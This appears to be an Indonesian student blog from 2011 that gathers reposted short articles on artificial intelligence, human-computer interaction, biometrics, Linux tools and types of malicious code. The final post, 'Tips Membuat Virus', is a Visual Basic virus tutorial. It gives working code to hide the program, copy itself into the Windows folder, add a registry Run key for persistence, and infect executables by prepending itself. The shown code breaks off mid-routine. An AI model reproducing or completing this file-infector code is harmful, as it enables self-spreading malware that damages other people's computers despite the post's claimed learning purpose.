Sunday, January 16, 2011

Rangkuman

Nama  : Miftachuddin
NIM    : 3105311020
Prodi   : Sistem Informasi
         Kecerdasan Buatan (artificial intelligent) adalah penggunaan komputer, yang mana meniru atau menduakan fungsi otak manusia. Sistem Kecerdasan buatan tidak diharap menggantikan manusia sebagai pembuta keputusan, tetapi sebaliknya mereplikasikan butirannya, dengan keadaan jelas. Umumnya bidang kecerdasan buatan termasuklah beberapa jenis komponennya. Hanya diringkaskan seperti berikut: Sistem pakar, Robotik, Sistem penglihatan, Sistem Pemprosesan Bahasa Tabii, Sistem Pembelajaran dan Rangkaian neural.
             Interaksi manusia–komputer merupakan suatu aktivitas yang banyak dijumpai dalam kehidupan sehari-hari. Seringkali pada saat beraktivitas di depan komputer, dalam jangka waktu tertentu muncul keluhan dari pengguna komputer yang disebabkan oleh beban kerja yang dialami pengguna. Beban kerja yang dialami oleh pengguna komputer berupa beban kerja fisik dan mental. Munculnya beban kerja ini terutama dapat terlihat pada kecenderungan penurunan performansi kerja pengguna komputer setelah jangka waktu tertentu. Dalam tesis ini, penelitian lebih difokuskan pada beban mental pada interaksi manusia-komputer.
Untuk mengantisipasi dan mencari solusi dari munculnya beban mental ini, maka perlu dibentuk suatu model yang dapat menjelaskan terjadinya beban mental pada interaksi manusia–komputer. Berdasarkan studi literatur, faktor-faktor yang menyebabkan terjadinya beban mental dan akhirnya membangun model yang dimaksud tersebut di atas adalah :
-kebutuhan mental
-kelelahan fisik
-kebosanan
-tingkat kesulitan kerja
-lingkungan fisik kerja
-kebutuhan waktu
           Untuk memvalidasikan faktor-faktor  tersebut, maka disebarkan kuesioner kepada pengguna komputer untuk mencari kesepakatan responden mengenai faktor-faktor tersebut di atas. Responden yang dipilih adalah mahasiswa, karena mahasiswa merupakan satu populasi pengguna komputer dengan frekuensi penggunaan komputer yang cukup tinggi.
           Berdasarkan model yang terbentuk, dengan menggunakan eksperimen Stroop, dikembangkan suatu metode yang dapat mengkuantifikasikan besarnya beban mental yang dialami oleh pengguna komputer. Responden  yang diminta untuk melakukan eksperimen Stroop dipilih berdasarkan pengalaman menggunakan komputer dan kriteria buta warna, serta kapasitas VO2 maks. Setelah mengerjakan eksperimen Stroop, mereka diminta untuk memberikan bobot dan nilai untuk setiap faktor yang ada pada model. Respon yang diberikan oleh responden divalidasikan dengan beberapa kriteria fisiologis yaitu rata-rata denyut nadi, performansi kerja, dan konversi denyut nadi dalam konsumsi energi. Uji statistik memberikan hasil bahwa besarnya beban mental yang direspon oleh responden memiliki korelasi tinggi dengan konsumsi energi. Metode yang akhirnya terbentuk terbukti dapat mengkuantifikasikan besarnya beban mental pada 2 desain eksperimen Stroc?n yang berbeda (Stroop 1 dan 2) dengan tingkat kepentingan faktor yang berbeda sesuai dengan kondisi kerja, serta memberikan basil yang reievan dengan besarnya konsumsi energi responden.

Monday, January 3, 2011

Kumpulan Aplikasi untuk Linux Ubuntu

Tidak banyak aplikasi opensource yang terintegrasi dengan Linux Ubuntu. Dan juga sulitnya mencari link untuk mendownload aplikasi-aplikasi yang berhubungan dengan Ubuntu. Bagi yang cinta banget ma ubuntu, ada info yang bagus. Kita dapat menambahkan banyak aplikasi tambahan pada ubuntu dengan sangat mudah.
Appnr adalah sebuah aplikasi online direktori untuk orang-orang yang ingin memasang aplikasi tambahan pada Ubuntu Linux. Aplikasi yang terdiri dari semua aplikasi gratis yang tersedia untuk Ubuntu linux di internet. Dengan tampilan yang rapi dan sederhana, aplikasi dikelompokkan berdasarkan kategori. Sehingga memudahkan kita untuk mencari aplikasi yang diinginkan.
appnr 
(lagi…)
okihelfiska.wordpress.com/category/sistem-operasi-software/linux/

Distro Linux apa yang cocok buat Anda ?

Pernahkah anda mengetahui linux apa yang cocok buat anda ? Bagi yang sudah mengenal linux pasti sudah tau jawabannya. Bagi newbie tentu saja akan membingungkan untuk memilih distro yang paling cocok untuk dipelajari dan didalami.
Setiap kita tentu memiliki visi yang berbeda-beda tentang penggunaan komputer. Contohnya saja kita mungkin hanya suka dibidang multimedia, ataupun kita ingin menjadi administrator jaringan yang handal.
Nah kalo ditanya pendapat anda masing-masing, tentang distro yang bagus buat anda, sudah pasti akan susah untuk menjawabnya. Untungnya, ada sebuah situs yang saya temukan berguna untuk situasi seperti ini. Jika Anda ingin menguji diri sendiri dan melihat Linux adalah yang terbaik untuk Anda, kunjungi www.zegeniestudios.net dan pilih dibagian Linux tes. Setelah Anda menjawab serangkaian pertanyaan, Anda akan diberikan saran dari Linux adalah yang terbaik untuk Anda.
Gambar dibawah sampel hasil test yang saya coba untuk saya sendiri.
linux-chooser 

Linux File Directory Structure

Jika kita ingin belajar linux lebih mendalam, hal yang paling dasar dipahami adalah truktur direktori pada linux itu sendiri. Pada dasarnya semua linux memiliki struktur direktori yang sama. Struktur direktori Linux berbeda dengan struktur direktori yang ada pada Windows ataupun MS-DOS. Setiap direktori memiliki fungsi yang berbeda-beda. Contoh bahwa direktori /bin berfungsi untuk menyimpan semua perintah dasar pada Linux. Sehingga struktur direktori di Linux disebut Filesystem Hierarchy Standard (FHS).
Untuk memudahkan memahami tentang FHS di Linux, anda dapat memperhatikan ilustrasi dibawah seperti yang dibuat oleh linuxconfig.org :
www.linuxconfig.org
(lagi…)

okihelfiska.wordpress.com/category/sistem-operasi-software/linux/

QiMO – Buat Anak Cerdas dengan Linux

Sifat seorang anak adalah selalu memiliki rasa keingin tahuan terhadap sesuatu. Anak zaman sekarang sudah banyak yang mampu menggunakan dan bermain dengan Komputer. Bagi orang tua tentu saja harus memperhatikan perilaku anak dalam penggunaan komputer. Apa lagi jika sudah mengenal internet, hmmm bisa berbahayakan ? Kebanyakan anak masih familiar dengan menggunakan Sistem Operasi Windows. Nah bagaimana jika mulai saat ini diajarkan dengan Sistem Operasi yang Open Source ? Gak ada salahnyakan. Sekalian orang tua juga ikut belajar Linux :)


Qimo Linux
(lagi…)
okihelfiska.wordpress.com/category/sistem-operasi-software/linux/

Membuat USB Wifi Booster


Sambil santai berhari minggu alangkah lebih baik ada kegiatan yang bermanfaat. Tutorial berikut adalah bagaimana membuat USB Wifi Booster. Artikel disadur dari Situs ngoprek.org.
usb-wifi01
Alkisah mau ngeprint di printer LAN,.. kok nggak keluar2,.. ternyata koneksi ke hotspot kantor jelek,.. karena ruangan saya berada paling belakang sedangkan hotspotnya berada di depan,.. cari2.. inspirasi ke paman google yang baik hati dan suka menolong,,..  akhirnya dapet di youtube,.. truz gue coba.. hasilnya sangat memuaskan,..
Namanya USB Wifi Booster konsep kerjannya sederhana,.. hanya menambah konsentrasi signal pada usb wifi, tapi dari hasil percobaan ternyata lumayan menambah kestabilan signal,.. foto dokumentasinya ada disini,.. oke mari kita buat sama2,.. ini murah meriah dan memuaskan..

Langkah Pertama, Beli minuman ringan kalengan
usb-wifi02 usb-wifi03
Beli minuman ringan kalengan, kebetulan saya beli pocari sweat harganya Rp.3.500,- satu buahnya :p ,.. nggak promosi loh.. boleh pake kaleng minuman ringan yang lain,.. truz belah 2 kaleng tersebut,..

KECERDASAN BUATAN =Menduakan Otak Manusia ?????????????????

Kecerdasan Buatan (artificial intelligent) adalah penggunaan komputer, yang mana meniru atau menduakan fungsi otak manusia. Sistem Kecerdasan buatan tidak diharap menggantikan manusia sebagai pembuta keputusan, tetapi sebaliknya mereplikakan butirannya, dengan keadaan jelas. Umumnya bidang kecerdasan buatan termasuklah beberapa jenis komponennya. Ianya diringkaskan seperti berikut: Sistem pakar, Robotik, Sistem penglihatan, Sistem Pemprosesan Bahasa Tabii, Sistem Pembelajaran dan Rangkaian neural. Jadi, gimana kita sebagai manusia yang dianugrahi sumber pemikiran ” OTAK”? Mau di duakan??? Plis deh,,,,,,,,,,

trihariyono.wordpress.com/2007/10/25/5-artikel-tentang-interaksi-manusia-komputer-hci/

PENGEMBANGAN MODEL DAN METODE PENGUKURAN BEBAN MENTAL PADA INTERAKSI MANUSIA-KOMPUTER

Interaksi manusia – komputer merupakan suatu aktivitas yang banyak dijumpai dalam kehidupan schari-hari. Seringkali pada saat beraktivitas di depan komputer, dalam jangka waktu tertentu muncul keluhan dari pengguna komputer yang disebabkan oleh beban kerja yang dialami pengguna. Beban kerja yang dialami oleh pengguna komputer berupa beban kerja fisik dan mental. Munculnya beban kerja ini terutama dapat terlihat pada kecenderungan penurunan performansi kerja pengguna komputer setelah jangka waktu tertentu. Dalam tesis ini, penelitian lebih difokuskan pada beban mental pada interaksi manusia-komputer.

Untuk mengantisipasi dan mencari solusi dari munculnya beban mental ini, maka perlu dibentuk suatu model yang dapat menjelaskan terjadinya beban mental pada interaksi manusia – komputer. Berdasarkan studi literatur, faktor-faktor yang menyebabkan terjadinya beban mental dan akhirnya membangun model yang dimaksud tersebut di atas adalah :
- kebutuhan mental
- kelelahan fisik
- kebosanan
- tingkat kesulitan kerja
- lingkungan fisik kerja
- kebutuhan waktu

Untuk memvalidasikan faktor-faktor tei z;ebut, maka disebarkan kuesioner kepada pengguna komputer untuk mencari kesepakatan responden mengenai faktor-faktor tersebut di atas. Reponden yang dipilih adalah mahasiswa, karma mahasiswa merupakan satu populasi pengguna komputer dengan frekuensi penggunaan komputer yang cukup tinggi.
Berdasarkan model yang terbentuk, dengan menggunakan eksperimen Stroop, dikembangkan suatu metode yang dapat mengkuantifikasikan besarnya beban mental yang dialami oleh pengguna komputer. Responden )ang diminta untuk melakukan eksperimen Stroop dipilih berdasarkan pengalaman menggunakan komputer dan kriteria buta warna, serta kapasitas VO2 maks. Setelah mengerjakan eksperimen Stroop, mereka diminta untuk memberikan bobot dan nilai untuk setiap faktor yang ada pada model. Respon yang diberikan oleh responden divalidasikan dengan beberapa kriteria fisiologis yaitu rata-rata denyut nadi, performansi kerja, dan konversi denyut nadi dalam konsumsi energi. Uji statistik memberikan hasil bahwa besarnya beban mental yang direspon oleh responden memiliki korelasi tinggi dengan konsumsi energi. Metode yang akhirnya terbentuk terbukti dapat mengkuantifikasikan besarnya beban mental pada 2 desain eksperimen Stroc?n yang berbeda (Stroop 1 dan 2) dengan tingkat kepentingan faktor yang berbeda sesuai dengan kondisi kerja, serta memberikan basil yang reievan dengan besarnya konsumsi energi responden.

2.   MAN  ’n  MOUSE


Mouse tentu menjadi satu perangkat yang memudahkan para pengguna komputer saat bekerja. Dengan alat hasil temuan Douglas Engelbart pada tahun 1963 ini — dan awalnya diberi nama bug, maka orang akan lebih leluasa menjelajah setiap sudut monitor.
Namun dengan semakin dekatnya hubungan manusia dan komputer dalam berbagai aspek kehidupan, penggunaan mouse sendiri bisa menimbulkan rasa sakit, terutama pada bagian lengan. Hal ini didasarkan pada beberapa studi yang dilakukan, misalnya oleh Dr. Chris Jensen dan rekannya dari The National Institute of Occupational Health, Kopenhagen, yang menemukan bahwa mereka yang menggunakan komputer selama 3-4 jam dengan lebih dari 100 klik akan mengalami risiko paling tinggi atas sejumlah masalah di tangan atau pergelangan.

Meski dalam riset itu jenis mouse dalam hubungannya dengan rasa sakit tidak ikut diteliti, akan tetapi sikap, perlakuan orang pada mouse, dan posisi duduk yang baik menjadi hal yang sejak dulu dinilai dapat mencegah timbulnya rasa sakit tadi. Untuk itu, bagi yang sering berinteraksi dengan perangkat tersebut, ada beberapa hal yang patut diperhatikan.
Pertama adalah dengan menempatkan mouse di dekat dan di permukaan yang sama dengan keyboard. Hal ini dimaksudkan agar pengguna komputer bisa lebih mudah meraih dan menggunakan mouse. Perlu diperhatikan pula posisi duduk, ambil posisi duduk tegak, jangan membungkuk, loyo, atau lesu, karena akan mengakibatkan sakit punggung. Untuk mouse yang masih menggunakan bola, bersihkan perangkat tersebut secara berkala karena kotoran yang masuk dikhawatirkan akan mengganggu gerak cursor. Demikian pula untuk menggunakan mouse pad, lagi-lagi agar gerakan cursor menjadi lebih lembut. Kemudian agar pergelangan tangan tidak terlampau lelah, ada baiknya untuk menggunakan wrist rests di mana bantalan yang biasanya berisi silikon bisa memberi kenyamanan saat menggunakan mouse.

3.   Interaksi Manusia dan Komputer

Bagaimanapun interaksi antara manusia dengan komputer pasti akan selalu ada. Hal ini terjadi dikarenakan komputer itu sendiri merupakan bagian dari suatu ciptaan manusia. Menurut saya ilmu merupakan hal yang perlu dimiliki oleh semua orang, baik dari anak kecil sampai orang dewasa karena ilmu kita ibaratkan sebagai mata dalam kehidupan.
banyak anak-anak sekarang yang tidak mendapatkan pendidikan sampai mereka harus kehilangan masa-masa anak-anak hanya untuk mencari nafkah untuk bantu keluarga mereka sehingga kit aperlu prihatin mengenai keadaan ini bagaimana pun juga, kita hanya bisa membantu mereka dengan apapun yang kita miliki.

4.  Interaksi Manusia dan Komputer
Bidang ilmu interaksi manusia dan komputer adalah ilmu yang mempelajari tentang bagaimana mendesain, mengevaluasi, dan mengimplementasikan sistem komputer yang interaktif sehingga dapat digunakan oleh manusia dengan mudah. Interaksi adalah komunikasi 2 arah antara manusia (user) dan sistem komputer. Interaksi menjadi maksimal apabila kedua belah pihak mampu memberikan stimulan dan respon (aksi & reaksi) yang saling mendukung. Jika salah satu tidak bisa, maka interaksi akan mengalami hambatan atau bahkan menuju pembiasan tujuan.

Bagian tubuh sudah mulai digunakan sebagai ID

Sedangkan bagian tubuh yang saat ini sudah mulai digunakan sebagai ID atau password adalah:
- Sidik Jari
Ini adalah bagian tubuh yang penggunaannya sangat populer baik sebagai ID maupun sebagai password. Sensor yang digunakan untuk men-scan sidik jari sangat bervariasi. Ada sensor yang hanya dapat memeriksa satu sidik jari saja ada yang dapat memeriksa lebih dari satu sidik jari.
Luka pada sidik jari dapat mengakibatkan sidik jari sulit dideteksi. Namun, bukan berarti tidak bisa. Selama luka tersebut tidak terlalu dalam ada beberapa sensor yang masih dapat
mengenalinya. Tentu saja sensor-sensor dengan ketajaman seperti ini akan lebih mahal harganya ketimbang sensor sidik jari dengan ketajaman biasa.
Penerapan sidik jari sebagai bagian dari sistem keamanan kini sudah se makin luas. Bahkan saat ini sudah ada mouse yang penggunaannya membutuhkan sidik jari penggunanya.
- Geometris Tangan
Lain sidik jari lain pula yang dimaksud dengan geometris tangan atau yang dikenal juga dengan bentuk tangan. Nilai-nilai yang menjadi bagian dari datanya adalah, ukuran tangan, bentuk telapak tangan, sampai bentuk dan ukuran masing-masing jari. Sensor yang digunakan untuk mendeteksi geometris tangan berbeda dengan sensor yang digunakan untuk mendeteksi sidik jari. Cara pengambilan sampel juga lebih rumit, karena harus dilakukan dari berbagai perspektif. Oleh sebab itu, biometrics ini dianggap lebih akurat dan lebih sulit untuk dipalsukan datanya. Namun, proses pengaksesan juga akan berjalan lebih lama. Oleh sebab itu, sebaiknya jangan menggunakan sistem ini untuk ruangan yang terbuka atau untuk aplikasi yang dimanfaatkan oleh banyak orang (seperti absensi).
- Mata
Mata manusia sangat unik. Meskipun secara kasat mata, setiap bola mata manusia hampir sama. Ada dua bagian yang kerap menjadi bagian dari biometrics mata, yaitu retina dan iris mata. Iris mata lebih mudah penggunaannya dibandingkan dengan retina mata. Untuk menganalisis retina mata, seorang pengguna harus menatap pada fokus yang telah ditentukan dan proses analisis juga tidak akan dapat dilakukan bila user menggunakan kaca mata.
Lain halnya dengan iris mata. Teknologi dengan iris mata tidak sesulit retina mata. User tidak perlu menatap lurus ke fokus. Dan pengguna kaca mata masih dapat dikenali.

Issue tentang Artificial Intelligent

Kecerdasan buatan dibuat dengan maksud untuk meningkatkan sistem dasar komputer sehingga menyerupai ciri manusia, yaitu kemampuan untuk berpikir atau menjawab. Ada beberapa contoh dari kecerdasan buatan yang dijelaskan dalam bab ini.
Kemampuan komputer memproses bahasa dasar adalah salah satu contoh dari kecerdasan buatan. Apabila dulu kita harus mempelajari perintah-perintah tertentu untuk berkomunikasi dengan komputer, sekarang ini kita sudah tidak perlu lagi untuk mempelajarinya. Hal ini dikarenakan komputer sekarang sudah dilengkapi dengan kemampuan untuk memahami bahasa kita, sehingga kita dapat lebih mudah untuk berkomunikasi dengan komputer.
Kecerdasan buatan lain yang memudahkan interaksi kita dengan computer adalah kemampuan untuk mengenali cara berbicara atau kata-kata yang digunakan oleh manusia. Kita hanya perlu untuk mengucapkan perintah secara lisan kepada computer untuk melakukan suatu program, daripada dengan cara biasa yaitu dengan mengetiknya, dan nantinya computer juga akan balik menjawab perintah tersebut Kemampuan ini dapat dihubungkan dengan sebuah sistem pengenal karakter optikal (OCR), yang susunan dari OCR dapat mengenali kalimat dari dokumen yang telah dicetak. Komputer juga sekarang telah dilengkapi dengan sistem ahli, yang merupakan penasihat dasar dari sebuah computer, sehingga computer dapat membantu dalam bidang medis, pabrik, dan bidang-bidang lain. Inti dari sistem ahli ini adalah pengetahuan yang berasal dari pengalaman manusia. Sumber penambahan informasi dapat mencakup buku dan dokumen lain. Kecerdasan buatan terakhir yang dijelaskan di chapter ini adalah gambar computer. Gambar computer diartikan sebagai sebuah gambar yang diambil dengan menggunakan kamera yang kemudian diolah di computer.
Dalam hal ini, kamera dan computer merupakan alat yang memiliki fungsi yang sama seperti fungsi mata dan otak manusia.

aplikasi komputer dan masyarakat


 

Kode Jahat/Perusak (Malicious Codes)

Kode jahat/perusak (malicious codes atau disingkat malcodes) didefinisikan sebagai semua macam program, makro atau script yang dapat diesekusi dan dibuat dengan tujuan untuk merusak sistem komputer. Oleh karena itu bug yang dibuat secara tidak sengaja oleh programer, tidak termasuk dalam kategori ini. Tetapi untuk bug yang benar-benar mengganggu, banyak orang mengkategorikannya sebagai malcode.
Dahulu digunakan istilah "Malware (= Malicious Software)" ditujukan untuk malcode. Tetapi istilah ini terlalu lemah dan sempit, sehingga e-mail palsu/bohong yang notabene bukan software tidak dapat dimasukkan dalam golongan ini. Oleh karena itu digunakan istilah malcode, bukan malware. 
Kode perusak dapat digolongkan dalam 3 macam golongan:
1. Virus
2. Worm
3. Trojan Horse




Virus dapat dibagi lagi dalam beberapa kategori:
1.      Boot Virus: Jika komputer dinyalakan, sebuah inisial program di boot sector akan dijalankan. Virus yang berada di boot sector disebut boot virus.
2.      File Virus: File virus adalah virus yang menginfeksi executable program. Dilaporkan bahwa hampir 80% virus adalah file virus.
3.      Multipartite Virus: Virus yang menginfeksi baik boot sector dan file.
4.      Macro Virus: Belakangan diketemukan. Targetnya bukan executable program, tetapi file dokument seperti Microsoft Excel atau Word. Ia akan memulai menginfeksi bila program aplikasi membaca dokumen yang berisi macro. 
Alamat Sumber
Kyu-beom Hwang, Kwangjo Kim, Joonsang Beak, Charles Ahn, "Trend of Malicious Codes and Their Countermeasures"
[ Stallings, William ], “ CRYPTOGRAPHY AND NETWORK SECURITY , principle and practice: second edition ”
[ Salim, IR.Hartojo ], “ Virus Komputer, teknik pembuatan & langkah-langkah penanggulangannya ”,


Interaksi Manusia-Komputer (IMK) pada Perkembangan Teknologi Komputer

Pertumbuhan teknologi komputer tidak boleh memiliki pengaruh negatif terhadap nilai dasar manusia (Universitas Nottingham). Kemajuan antarmuka dan teknik lain dari pengontrolan komputer (seperti dengan menggunakan joystick dan fingertip) mendukung peran keyboard dan mouse tradisional.
IMK harus dipastikan bahwa kita (manusia) yang tetap memegang kunci dalam membuat keputusan. Maka dari itu, “Being Human” menjadi usulan bagi IMK di tahun 2020. Hal ini dilaporkan secara detil di konferensi pada Maret 2007, tentang penemuan Microsoft, yang dihadiri oleh ahli-ahli IMK dari seluruh dunia. Pada 2020, kita masih dapat membaca koran ataupun majalah, tetapi konten dari koran atau majalah tersebut akan didistribusikan secara digital dan ditampilkan melalui layar yang dapat dilipat dan dapat ditaruh di saku Anda; atau bahkan pakaian kita dapat menunjukkan diagnosa kesehatan kita.
Namun, penting sekali dimana kita harus mengkombinasikan inovasi dengan pemahaman tentang pengaruhnya terhadap manusia. Tanpa pengawasan dan penilaian yang benar, maka akan terjadi kemungkinan bahwa manusia-individual ataupun kolektif-tidak dikontrol oleh diri kita sendiri ataupun orang di sekitar kita.
Hal ini dapat menyebabkan komputer bertabrakan dengan nilai dasar manusia dan konsep manusia seperti wilayah pribadi, masyarakat, identitas, kebebasan, persepsi, kecerdasan, dan privasi. Abigail Sellen, peneliti senior di Microsoft Corp mengatakan bahwa komputer telah membentuk banyak aspek di dunia modern dimana kita ingin menelusuri kemunculan teknologi saat ini yang mungkin membentuk kehidupan kita di 2020.
Selain itu, dia mengatakan bahwa komputasi memiliki potensi untuk meningkatkan kehidupan jutaan manusia di dunia. Dia percaya jika teknologi benar-benar membawa keuntungan untuk umat manusia, maka nilai manusia dan pengaruh teknologi harus dipertimbangkan segera pada proses desain teknologi. Maka, rekomendasi untuk Microsoft Corp adalah dengan IMK 2020 dapat mendesain dan mendukung nilai manusia, tidak tergantung pada cara yang bernilai ekonomi untuk mendapatkan nilai tersebut.
Microsoft telah memperhatikan masa depan IMK dan interface grafis berulang-ulang pada Windows OS, sampai 2020. Dijadwalkan tersedia pada 2010, Windows 7 (versi setelah Windows Vista) menuju ke peningkatan peran, dalam pandangan perusahaan Redmond, yaitu natural user interface pada level desktop, notebook, tabletop surface computer, tablet PC, dll. Tanpa ragu-ragu, GUI yang ditawarkan komputer dan OS sekarang tidak akan terpakai lagi di tahun 2020.
Perhatian telah beralih pada multi-touch, gerakan, pengenalan objek, speech dan bahkan antarmuka otak-komputer. Semua itu dipayungi oleh natural user interfaces, suatu bagian yang menjadi fokus Bill Gates.
http://yuniara.wordpress.com

PENGEMBANGAN PERANGKAT LUNAK KECERDASAN BUATAN DENGAN MENGGUNAKAN METODE FORWARD CHAINING (Studi Kasus Mendiagnosa Keadaan Bayi Dalam Kandungan)

Kecerdasan buatan adalah kemampuan komputer untuk berpikir dengan intelegensia. Ini tercapai dengan mempelajari bagaimana manusia mengingat dan berpikir ketika sedang mengambil keputusan dan memecahkan masalah.
Kecerdasan buatan yang dibangun mempunyai beberapa komponen yang saling berhubungan untuk membangun sistem yaitu basis pengetahuan, mesin inferensi, antarmuka pemakai. Persoalan yang dipecahkan dalam sistem ini adalah bagaimana cara menyusun aturan yang terdiri atas beberapa premis dan konklusi dari fakta-fakta yang tersedia, sehingga dihasilkan suatu solusi, dengan menggunakan mesin inferensi yaitu forward chaining, selain itu sistem ini juga menggunakan suatu penalaran knowledge base yaitu penalaran rule-based reasoning.
Penelitian ini membahas tentang pendiagnosaan keadaaan bayi dalam kandungan yang menggunakan teknik inferensi forward chaining, yang memulai penalarannya mulai dari sekumpulan fakta-fakta menuju sebuah hipotesa (solusi). Sistem yang dikembangkan memberikan keleluasaan pada perekayasa pengetahuan untuk memasukkan himpunan aturan pada basis pengetahuan dan diperolehnya suatu solusi berdasarkan basis pengetahuan yang ada.
http://jauari88.wordpress.com

Memanusiakan Chatbot dengan Kecerdasan Buatan



JAKARTA – Pehobi chatting –bercakap-cakap di dunia maya— sebaiknya jangan terlalu serius menanggapi lawan bicara. Siapa tahu kenalan baru itu adalah chatbot, yakni robot yang khusus diprogram untuk chatting. Chatbot merupakan program khusus dalam komputer yang berfungsi sebagai penjawab sapaan di ruang chatting. Di masa mendatang, program serupa ini menjadi kembangan dari artificial intelligent (AI) alias kecerdasan buatan.
Jabberwacky, sebuah chatbot yang tinggal di dalam hard disk komputer. Ia mampu menggunakan kata-kata pelesetan, humor, kadang juga kata makian, bahkan juga menjadi pembicara yang konfrontatif. Kelebihan Jabberwacky dari chatbot lain adalah: makin banyak ia bercakap dengan para chatter manusia, makin banyak hal yang dipelajarinya. Chatbot jenius ini adalah temuan Rollo Carpenter, finalis Loebner Prize asal Inggris.

Kecerdasan Buatan “Artificial Intelligent”

Istilah kecerdasan buatan sebenarnya berasal dari bahasa Inggris: “Artificial Intelligence”. Jika diartikan tiap kata, artificial artinya buatan, sedangkan intelligence adalah kata sifat yang berarti cerdas. Jadi artificial intelligence maksudnya adalah sesuatu buatan atau suatu tiruan yang cerdas. Cerdas di sini kemungkinan maksudnya adalah kepandaian atau ketajaman dalam berpikir, seperti halnya otak manusia dalam menyelesaikan suatu masalah.
Secara awam kecerdasan buatan diterjemahkan sebagai sebuah sistem saraf, atau sensor atau otak yang diciptakan oleh sebuah mesin. Sebenarnya kecerdasan buatan merujuk kepada mesin yang mampu untuk berpikir, menimbang tindakan yang akan diambil, dan mampu mengambil keputusan seperti yang dilakukan oleh manusia.
Alan Turing, ahli matematika berkebangsaan Inggris yang dijuluki bapak komputer modern dan pembongkar sandi Nazi dalam era Perang Dunia II tahun 1950, dia menetapkan definisi Artificial Intelligent : Jika komputer tidak dapat dibedakan dengan manusia saat berbincang melalui terminal komputer, maka bisa dikatakan komputer itu cerdas, mempunyai intelegensi.
Kecerdasan buatan itu sesuatu yang diciptakan oleh manusia, untuk menggantikan manusia. Jadi bisa jadi kecerdasan buatan itu merupakan suatu ancaman.
Walau pun menyadari bahwa kecerdasan buatan bisa jadi adalah suatu ancaman untuk manusia, tapi manusia masih saja mengembangkan apa yang disebut dengan kecerdasan buatan. Manusia masih saja mencoba mengembangkan / mendapatkan sesuatu (teknologi) yang baru, yang dapat berpikir seperti manusia. Hal ini terjadi karena adanya ketidakpuasan dalam diri manusia, manusia ingin mendapatkan sesuatu dengan cara yang lebih mudah. Lagipula memang ada keterbatasan-keterbatasan dalam diri manusia, seperti otak manusia yang hanya mampu berpikir dengan frekuensi kira-kira 100 Hz dan karena manusia mempunyai rasa capai. Bandingkan dengan komputer sekarang yang mampu mengolah data dengan frekuensi 4 GHz. Komputer juga tidak mempunyai rasa capai walau pun harus mengolah data yang sama berulang-ulang.

Tips Membuat Virus


Mungkin selama ini kita hanya menjadi korban dari berbagai macam virus komputer yang sekarang berkembang bagaikan JAMUR di musim penghujan. Pernakah anda berfikir bagamana virus-virus itu di ciptakan oleh pembuatnya?yang pasti memerlukan keahlian tersendiri sehingga tercipta virus komputer yang bisa membuat komputer menjadi lumpuh. Bagi yang tertarik dengan virus komputer mungkin ini adalah contoh kecil yang bisa anda jadikan sebagai bahan pencerahan.TAPI saya sarankan hanya untuk pembelajaran saja, jangan digunakan untuk hal-hal yang NEGATIVE. Karena dengan mengetahui tentang pembuatan virus komputer diharapkan kita bisa membuat ANTI VIRUS nya. OK
Syarat sebuah virus computer :
Menyembunyikan prosesnya dari pemakai
Mengaktifkan dirinya setiap startup sistem
Menyebarkan dirinya melalui media file executable
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
Menyebarkan dirinya dengan filename spoofing.
Mempercepat proses penyebarannya dengan pendekatan social engineering
Berusaha mempertahankan existensi dirinya
Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.
Menyembunyikan prosesnya dari pemakai
Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :
App.TaskVisible = False
Kemudian untuk menyembunyikan form dapat menggunakan :
Me.Visible = False
Mengaktifkan dirinya setiap startup sistem
Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :
FileCopy app.Path & “\” & app.EXEName , environ$(”windir”) & “\” & app.EXEName
dan menambah ke registry :
Dim WShell as Object
Set WShell = CreateObject(”WScript.Shell”)
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku”, environ$(”windir”) & “\” & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable
Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :
Program Virus + Program Executable + Ukuran Virus + Signature Virus
Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.
Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :
Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus
Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus
Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
‘Jangan menginfeksi diri sendiri
‘Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> “” Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then ‘Ambil nomor file fNum = FreeFile Open fname For Binary Access Read As fNum ‘Buka file target Seek fNum, LOF(fNum) – 5 + 1 ‘pindah file pointer ke posisi Signature Virus tSignature = Space$(5) Get fNum, , tSignature ‘baca tSignature Close fNum If tSignature <> virSignature Then ‘jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum ‘Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode ‘baca Program Executable
Put fNum, 1, virCode ‘tulis Program Virus diawal
Put fNum, , OriginalCode ‘tulis Program Executable
Put fNum, , virSize ‘tulis Ukuran Virus
Put fNum, , virSignature ‘tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub
Ketika program Executable dijalankan maka :
Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String
virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)
Open exePath + App.EXEName + “.exe” For Binary Access Read As #1
Seek #1, LOF(1) – 5 + 1 ‘pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature ‘baca virSignature
If tSignature <> virSignature Then ‘Jika file virus sendiri
virSize = LOF(1) ‘ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) ’siapkan buffer virCode
Seek #1, 1 ‘ke posisi bof
Get #1, , virCode ‘baca virCode sebesar ukuran virSize
Close #1
